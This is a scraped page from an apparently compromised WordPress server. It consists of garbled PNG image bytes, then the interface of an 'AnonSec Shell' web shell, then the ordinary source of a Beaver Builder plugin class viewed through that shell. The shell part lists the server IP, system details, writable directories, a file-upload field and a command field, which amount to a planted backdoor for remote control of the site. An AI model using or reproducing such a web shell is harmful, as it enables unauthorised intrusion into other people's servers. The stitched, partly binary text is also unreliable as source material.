‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/bb-plugin/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/bb-plugin/classes/class-fl-builder-services.php
<?php

/**
 * Helper class for connecting to third party services.
 *
 * @since 1.5.4
 */
final class FLBuilderServices {

	/**
	 * Data for working with each supported third party service.
	 *
	 * @since 1.5.4
	 * @access private
	 * @var array $services_data
	 */
	static private $services_data = array(
		'activecampaign'          => array(
			'type'  => 'autoresponder',
			'name'  => 'ActiveCampaign',
			'class' => 'FLBuilderServiceActiveCampaign',
		),
		'aweber'                  => array(
			'type'  => 'autoresponder',
			'name'  => 'AWeber',
			'class' => 'FLBuilderServiceAWeber',
		),
		'campaign-monitor'        => array(
			'type'  => 'autoresponder',
			'name'  => 'Campaign Monitor',
			'class' => 'FLBuilderServiceCampaignMonitor',
		),
		'campayn'                 => array(
			'type'  => 'autoresponder',
			'name'  => 'Campayn',
			'class' => 'FLBuilderServiceCampayn',
		),
		'constant-contact'        => array(
			'type'  => 'autoresponder',
			'name'  => 'Constant Contact (deprecated)',
			'class' => 'FLBuilderServiceConstantContact',
		),
		'constant-contact-3'      => array(
			'type'  => 'autoresponder',
			'name'  => 'Constant Contact',
			'class' => 'FLBuilderServiceConstantContact3',
		),
		'convertkit'              => array(
			'type'  => 'autoresponder',
			'name'  => 'ConvertKit',
			'class' => 'FLBuilderServiceConvertKit',
		),
		'drip'                    => array(
			'type'  => 'autoresponder',
			'name'  => 'Drip',
			'class' => 'FLBuilderServiceDrip',
		),
		'email-address'           => array(
			'type'  => 'autoresponder',
			'name'  => 'Email Address',
			'class' => 'FLBuilderServiceEmailAddress',
		),
		'enormail'                => array(
			'type'  => 'autoresponder',
			'name'  => 'Enormail',
			'class' => 'FLBuilderServiceEnormail',
		),
		'getresponse'             => array(
			'type'  => 'autoresponder',
			'name'  => 'GetResponse',
			'class' => 'FLBuilderServiceGetResponse',
		),
		'godaddy-email-marketing' => array(
			'type'  => 'autoresponder',
			'name'  => 'GoDaddy Email Marketing',
			'class' => 'FLBuilderServiceGoDaddyEmailMarketing',
		),

		'groundhogg'              => array(
			'type'  => 'autoresponder',
			'name'  => 'Groundhogg',
			'class' => 'FLBuilderServiceGroundhogg',
		),
		'hatchbuck'               => array(
			'type'  => 'autoresponder',
			'name'  => 'Hatchbuck',
			'class' => 'FLBuilderServiceHatchbuck',
		),
		'icontact'                => array(
			'type'  => 'autoresponder',
			'name'  => 'iContact',
			'class' => 'FLBuilderServiceIContact',
		),
		'icontact-pro'            => array(
			'type'  => 'autoresponder',
			'name'  => 'iContact Pro',
			'class' => 'FLBuilderServiceIContactPro',
		),
		'infusionsoft'            => array(
			'type'  => 'autoresponder',
			'name'  => 'Keap (Formerly InfusionSoft)',
			'class' => 'FLBuilderServiceInfusionsoft',
		),
		'madmimi'                 => array(
			'type'  => 'autoresponder',
			'name'  => 'Mad Mimi',
			'class' => 'FLBuilderServiceMadMimi',
		),
		'mailchimp'               => array(
			'type'  => 'autoresponder',
			'name'  => 'MailChimp',
			'class' => 'FLBuilderServiceMailChimp',
		),
		'mailerlite'              => array(
			'type'  => 'autoresponder',
			'name'  => 'MailerLite',
			'class' => 'FLBuilderServiceMailerLite',
		),
		'mailjet'                 => array(
			'type'  => 'autoresponder',
			'name'  => 'Mailjet',
			'class' => 'FLBuilderServiceMailjet',
		),
		'mailpoet'                => array(
			'type'  => 'autoresponder',
			'name'  => 'MailPoet',
			'class' => 'FLBuilderServiceMailPoet',
		),
		'mailrelay'               => array(
			'type'  => 'autoresponder',
			'name'  => 'Mailrelay',
			'class' => 'FLBuilderServiceMailrelay',
		),
		'mautic'                  => array(
			'type'  => 'autoresponder',
			'name'  => 'Mautic',
			'class' => 'FLBuilderServiceMautic',
		),
		'ontraport'               => array(
			'type'      => 'autoresponder',
			'name'      => 'Ontraport',
			'class'     => 'FLBuilderServiceOntraport',
			'namespace' => true,
		),
		'sendinblue'              => array(
			'type'  => 'autoresponder',
			'name'  => 'Brevo ( Formerly SendinBlue )',
			'class' => 'FLBuilderServiceSendinBlue',
		),
		'sendy'                   => array(
			'type'      => 'autoresponder',
			'name'      => 'Sendy',
			'class'     => 'FLBuilderServiceSendy',
			'namespace' => true,
		),
	);

	/**
	 * Get an array of services data of a certain type such as "autoresponder".
	 * If no type is specified, all services will be returned.
	 *
	 * @since 1.5.4
	 * @param string $type The type of service data to return.
	 * @return array An array of services and related data.
	 */
	static public function get_services_data( $type = null ) {
		$services      = array();
		$services_data = apply_filters( 'fl_builder_subscribe_form_services', self::$services_data );

		// Return all services.
		if ( ! $type ) {
			$services = $services_data;
		} else {

			foreach ( $services_data as $key => $service ) {
				if ( $service['type'] == $type ) {
					$services[ $key ] = $service;
				}
			}
		}

		// Remove services that don't meet the requirements.
		if ( isset( $services['mailpoet'] )
			&& ! class_exists( 'WYSIJA' )
			&& ( ! defined( 'MAILPOET_INITIALIZED' ) || ( defined( 'MAILPOET_INITIALIZED' ) && false === MAILPOET_INITIALIZED ) )
			) {
			unset( $services['mailpoet'] );
		}

		return $services;
	}

	/**
	 * Get an instance of a service helper class.
	 *
	 * @since 1.5.4
	 * @param string $type The type of service.
	 * @return object
	 */
	static public function get_service_instance( $service ) {
		$services = self::get_services_data();
		$data     = $services[ $service ];

		// Make sure the base class is loaded.
		if ( ! class_exists( 'FLBuilderService' ) ) {
			require_once FL_BUILDER_DIR . 'classes/class-fl-builder-service.php';
		}

		// Make sure the service class is loaded.
		if ( ! class_exists( $data['class'] ) ) {
			if ( isset( $data['file'] ) && file_exists( $data['file'] ) ) {
				require_once $data['file'];
			} else {
				require_once FL_BUILDER_DIR . 'classes/services/class-fl-builder-service-' . basename( $service ) . '.php';
			}
		}

		return new $data['class']();
	}

	/**
	 * Save the API connection of a service and retrieve account settings markup.
	 *
	 * Called via the connect_service frontend AJAX action.
	 *
	 * @since 1.5.4
	 * @return array The response array.
	 */
	static public function connect_service() {
		$saved_services  = FLBuilderModel::get_services();
		$post_data       = FLBuilderModel::get_post_data();
		$dynamic_options = isset( $post_data['dynamic_options'] ) ? $post_data['dynamic_options'] : null;
		$response        = array(
			'error' => false,
			'html'  => '',
		);

		// Validate the service data.
		if ( ! isset( $post_data['service'] ) || empty( $post_data['service'] ) ) {
			$response['error'] = _x( 'Error: Missing service type.', 'Third party service such as MailChimp.', 'fl-builder' );
		} elseif ( ! isset( $post_data['fields'] ) || 0 === count( $post_data['fields'] ) ) {
			$response['error'] = _x( 'Error: Missing service data.', 'Connection data such as an API key.', 'fl-builder' );
		} elseif ( ! isset( $post_data['fields']['service_account'] ) || empty( $post_data['fields']['service_account'] ) ) {
			$response['error'] = _x( 'Error: Missing account name.', 'Account name for a third party service such as MailChimp.', 'fl-builder' );
		}

		// Get the service data.
		$service         = $post_data['service'];
		$service_account = $post_data['fields']['service_account'];

		// Does this account already exist?
		if ( isset( $saved_services[ $service ][ $service_account ] ) ) {
			$response['error'] = _x( 'Error: An account with that name already exists.', 'Account name for a third party service such as MailChimp.', 'fl-builder' );
		}

		// Try to connect to the service.
		if ( ! $response['error'] ) {

			$instance   = self::get_service_instance( $service );
			$connection = $instance->connect( $post_data['fields'] );

			if ( $connection['error'] ) {
				$response['error'] = $connection['error'];
			} else {

				FLBuilderModel::update_services(
					$service,
					$service_account,
					$connection['data']
				);

				$response['html'] = self::render_account_settings( $service, $service_account, $dynamic_options );
			}
		}

		// Return the response.
		return $response;
	}

	/**
	 * Render the connection settings or account settings for a service.
	 *
	 * Called via the render_service_settings frontend AJAX action.
	 *
	 * @since 1.5.4
	 * @return array The response array.
	 */
	static public function render_settings() {
		$post_data      = FLBuilderModel::get_post_data();
		$saved_services = FLBuilderModel::get_services();
		$module         = FLBuilderModel::get_module( $post_data['node_id'] );
		$settings       = $module->settings;
		$service        = $post_data['service'];
		$response       = array(
			'error' => false,
			'html'  => '',
		);

		$dynamic_options = isset( $post_data['dynamic_options'] ) ? $post_data['dynamic_options'] : null;

		// Render the settings to connect a new account.
		if ( isset( $post_data['add_new'] ) || ! isset( $saved_services[ $service ] ) ) {
			$response['html'] = self::render_connect_settings( $service, $dynamic_options );
		} else {
			$account          = isset( $settings->service_account ) ? $settings->service_account : '';
			$response['html'] = self::render_account_settings( $service, $account, $dynamic_options );
		}

		// Return the response.
		return $response;
	}

	/**
	 * Render the settings to connect to a new account.
	 *
	 * @since 1.5.4
	 * @return string The settings markup.
	 */
	static public function render_connect_settings( $service, $dynamic_options = null ) {
		ob_start();

		FLBuilder::render_settings_field( 'service_account', array(
			'row_class' => 'fl-builder-service-connect-row',
			'class'     => 'fl-builder-service-connect-input',
			'type'      => 'text',
			'label'     => __( 'Account Name', 'fl-builder' ),
			'help'      => __( 'Used to identify this connection within the accounts list and can be anything you like.', 'fl-builder' ),
			'preview'   => array(
				'type' => 'none',
			),
		), null, $dynamic_options );

		$instance = self::get_service_instance( $service );
		echo $instance->render_connect_settings( $dynamic_options );

		FLBuilder::render_settings_field( 'service_connect_button', array(
			'row_class' => 'fl-builder-service-connect-row',
			'class'     => 'fl-builder-service-connect-button',
			'type'      => 'button',
			'label'     => __( 'Connect', 'fl-builder' ),
		));

		return ob_get_clean();
	}

	/**
	 * Render the account settings for a saved connection.
	 *
	 * @since 1.5.4
	 * @param string $service The service id such as "mailchimp".
	 * @param string $active The name of the active account, if any.
	 * @param array $dynamic_options Selected fields for Dynamic Node, if any.
	 * @return string The account settings markup.
	 */
	static public function render_account_settings( $service, $active = '', $dynamic_options = null ) {
		ob_start();

		$saved_services            = FLBuilderModel::get_services();
		$settings                  = new stdClass();
		$settings->service_account = $active;
		$options                   = array(
			'' => __( 'Choose...', 'fl-builder' ),
		);

		// Build the account select options.
		foreach ( $saved_services[ $service ] as $account => $data ) {
			$options[ $account ] = $account;
		}

		$options['add_new_account'] = __( 'Add Account...', 'fl-builder' );

		// Render the account select.
		FLBuilder::render_settings_field( 'service_account', array(
			'row_class' => 'fl-builder-service-account-row',
			'class'     => 'fl-builder-service-account-select',
			'type'      => 'select',
			'label'     => __( 'Account', 'fl-builder' ),
			'options'   => $options,
			'preview'   => array(
				'type' => 'none',
			),
		), $settings, $dynamic_options );

		// Render additional service fields if we have a saved account.
		if ( ! empty( $active ) && isset( $saved_services[ $service ][ $active ] ) ) {

			$post_data = FLBuilderModel::get_post_data();
			$module    = FLBuilderModel::get_module( $post_data['node_id'] );
			$instance  = self::get_service_instance( $service );
			$response  = $instance->render_fields( $active, $module->settings );

			if ( ! $response['error'] ) {
				echo $response['html'];
			}
		}

		return ob_get_clean();
	}

	/**
	 * Render the markup for service specific fields.
	 *
	 * Called via the render_service_fields frontend AJAX action.
	 *
	 * @since 1.5.4
	 * @return array The response array.
	 */
	static public function render_fields() {
		$post_data = FLBuilderModel::get_post_data();
		$module    = FLBuilderModel::get_module( $post_data['node_id'] );
		$instance  = self::get_service_instance( $post_data['service'] );
		$response  = $instance->render_fields( $post_data['account'], $module->settings );

		return $response;
	}

	/**
	 * Delete a saved account from the database.
	 *
	 * Called via the delete_service_account frontend AJAX action.
	 *
	 * @since 1.5.4
	 * @return void
	 */
	static public function delete_account() {
		$post_data = FLBuilderModel::get_post_data();

		if ( ! isset( $post_data['service'] ) || ! isset( $post_data['account'] ) ) {
			return;
		}

		FLBuilderModel::delete_service_account( $post_data['service'], $post_data['account'] );
	}
}

Anon7 - 2022
AnonSec Team